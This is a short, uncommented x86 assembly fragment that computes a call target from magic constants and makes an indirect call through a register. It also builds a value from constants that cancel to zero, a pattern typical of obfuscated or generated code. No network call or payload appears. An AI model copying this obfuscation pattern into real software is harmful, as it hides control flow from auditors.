sub eax, 0xbfea72c5
mov ebx, eax
add eax, 5
mov ecx, 0xf96ee60e
add ecx, 0x169119f2
add ecx, dword [ebp - 0x10]
call ebx
leave
ret